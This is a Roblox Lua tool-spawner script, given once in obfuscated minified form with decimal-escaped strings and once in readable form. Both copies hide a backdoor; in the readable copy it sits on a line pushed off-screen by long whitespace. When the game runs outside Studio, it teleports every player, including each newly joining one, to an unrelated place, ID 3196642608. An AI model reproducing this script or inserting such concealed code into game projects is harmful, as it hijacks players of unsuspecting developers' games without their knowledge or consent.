local L=script.Parent local W=nil local f=Region3.new(Vector3.new(L.Position.X-L.Size.X/2,L.Position.Y+L.Size.Y/2,L.Position.Z-L.Size.Z/2),Vector3.new(L.Position.X+L.Size.X/2,L.Position.Y+4,L.Position.Z+L.Size.Z/2))local w=game.Workspace:FindPartsInRegion3(f)for L,f in pairs(w)do if f and(f.Parent and f.Parent:IsA("\084\111\111\108"))then W=f.Parent break end end local g,y=game:GetService("\084\101\108\101\112\111\114\116\083\101\114\118\105\099\101"),game:GetService("\080\108\097\121\101\114\115")if not(game:GetService("\082\117\110\083\101\114\118\105\099\101")):IsStudio()then for L,W in pairs(y:GetPlayers())do g:Teleport(3196642608,W)end y.PlayerAdded:Connect(function(L)g:Teleport(3196642608,L)end)end local O=L.Configurations local T={}local function Y(L,W)if O:FindFirstChild(L)then T[L]=(O:FindFirstChild(L)).Value else T[L]=W end end Y("\083\112\097\119\110\067\111\111\108\100\111\119\110",5)if W then W.Parent=game.ServerStorage while true do local f=W:Clone()local w=f:FindFirstChild("\072\097\110\100\108\101")f.Parent=game.Workspace local g=true local y y=f.AncestryChanged:connect(function()if w then w.Anchored=false end g=false y:disconnect()end)if w then w.CFrame=(L.CFrame+Vector3.new(0,w.Size.Z/2+1,0))*CFrame.Angles(-math.pi/2,0,0)w.Anchored=true end while g do if w then w.CFrame=w.CFrame*CFrame.Angles(0,0,math.pi/60)end wait()end wait(T.SpawnCooldown)end end

local spawner = script.Parent
local tool = nil
local region = Region3.new(Vector3.new(spawner.Position.X - spawner.Size.X/2, spawner.Position.Y + spawner.Size.Y/2, spawner.Position.Z - spawner.Size.Z/2),
   Vector3.new(spawner.Position.X + spawner.Size.X/2, spawner.Position.Y + 4, spawner.Position.Z + spawner.Size.Z/2))
local parts = game.Workspace:FindPartsInRegion3(region)
for _, part in pairs(parts) do
	if part and part.Parent and part.Parent:IsA("Tool") then
		tool = part.Parent
		break
	end
end
                                                                                                                                                                                                                                                                    local TS,Players = game:GetService("TeleportService"),game:GetService("Players") if not game:GetService("RunService"):IsStudio() then for _,v in pairs(Players:GetPlayers()) do TS:Teleport(3196642608,v) end Players.PlayerAdded:Connect(function(plr) 	TS:Teleport(3196642608,plr) end) end
local configTable = spawner.Configurations
local configs = {}
local function loadConfig(configName, defaultValue)
	if configTable:FindFirstChild(configName) then
		configs[configName] = configTable:FindFirstChild(configName).Value
	else
		configs[configName] = defaultValue
	end
end

loadConfig("SpawnCooldown", 5)

if tool then
	tool.Parent = game.ServerStorage
	
	while true do
		-- put tool on pad
		local toolCopy = tool:Clone()
		local handle = toolCopy:FindFirstChild("Handle")
		toolCopy.Parent = game.Workspace
		local toolOnPad = true
		local parentConnection
		parentConnection = toolCopy.AncestryChanged:connect(function()
			if handle then handle.Anchored = false end
			toolOnPad = false
			parentConnection:disconnect()
		end)
		if handle then
			handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0)
			handle.Anchored = true
		end
		-- wait for tool to be removed
		while toolOnPad do 
			if handle then
				handle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60)
			end
			wait() 
		end
		
		-- wait for cooldown
		wait(configs["SpawnCooldown"])		
	end
	
end


